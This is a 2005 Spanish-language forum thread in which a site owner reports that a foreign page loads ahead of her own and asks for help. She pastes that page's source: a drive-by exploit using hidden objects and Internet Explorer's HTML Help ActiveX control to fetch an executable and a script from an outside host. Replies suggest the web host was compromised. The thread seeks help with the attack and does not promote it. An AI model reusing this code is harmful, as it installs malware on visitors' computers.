Alguien esta hackeando mi domain?!

Maria - EoF.net · #1 (**permalink**) 31/07/2005, 10:44

Hola, necesito qu me ayuden... fijense que, hoy en la mañana como todos los dias iba a revisar mi domain (http://end-of-forever.net, pero no vayan creo que no es seguro... lean.) pero en la barra de status salia que se cargaba otra pagina (de otro domain, que no es mio) y luego se quedaba en blanco! Ya revise en mis archivos y no hay nada alli que sea de ellos, es mas, la pagina index es la mia pero por alguna razón se carga esta otra pagina antes... ya tambien revise las redirecciones en Cpanel (y puse una para que redireccionara a otra pagina en mi site), y no funciona. Hasta probe redireccionar el domain por otro site y tampoco, aun se carga la pagina misteriosa... no se como le estan haciendo porque es definitivamente externo... ayuda?!?!?!?!

Lo peor del caso es que como me parecio extraño que la pagina que se carga en vez de la mia esta en blanco, le puse view source y miren lo que tiene...

Código:

<HTML>
<body>
<object data="http://www.tbh.jp/fe.exe" type="text/x-scriptlet" STYLE=display:none></object>
<object data="http://www.tbh.jp/local.js" type="text/x-scriptlet" STYLE=display:none></object>
<OBJECT id=rtopics1 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics">
<param name="Window" value="$global_ms">
<PARAM name="Item1" value="Click ();ntshared.chm">
</OBJECT>
<OBJECT id=rtopics2 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics">
<param name="Window" value="$global_ms">
<PARAM name="Item1" value="Click ();iexplore.chm">
</OBJECT>
<OBJECT id=rtopics3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics">
<param name="Window" value="$global_ms">
<PARAM name="Item1" value="Click ();c:\windows\system32\cliconf.chm">
</OBJECT>
<OBJECT id=rtopics5 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics">
<param name="Window" value="$global_ms">
<PARAM name="Item1" value="Click ();c:\winnt\system32\cliconf.chm">
</OBJECT>		
<OBJECT id=rtopics4 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics">
<param name="Window" value="$global_ms">
<PARAM name="Item1" value="Click ();javascript:document.write(unescape('%3Cscript src=http://www.tbh.jp/local.js %3E%3C%2Fscript%3E<b%3EPLEASE WAIT</b%3E\r'));">
</OBJECT>	
<script>
rtopics1.Click();
function qwe1()
{
rtopics2.Click();
}
function qwe()
{
rtopics3.Click();
}
function qwe3()
{
rtopics3.Click();
}
function qwe2()
{
rtopics4.Click();
}
setTimeout("qwe1()",20);
setTimeout("qwe()",20);
setTimeout("qwe3()",20);
setTimeout("qwe2()",20);
</script>
</body>
</HTML>

QUE PUEDO HACER?!!!!

(ah, y perdon si esta en la seccion equivocada, supuse que esta era la mejor?)

amdsat · #2 (**permalink**) 31/07/2005, 13:32

Habla con la compañia que hospeda tu dominio.....

suena a que han hackeado el host...y no el dominio....

suerte

Maria - EoF.net · #3 (**permalink**) 31/07/2005, 13:52

Si, ahora que lo mencionas, me puse a investigar y le pasa lo mismo a varias paginas que se que estan con el mismo host que yo...

bueno, por lo menos ya se que no es error mio o de mi domain, pero aun asi... ya le contacte. Les cuento a ver que pasa...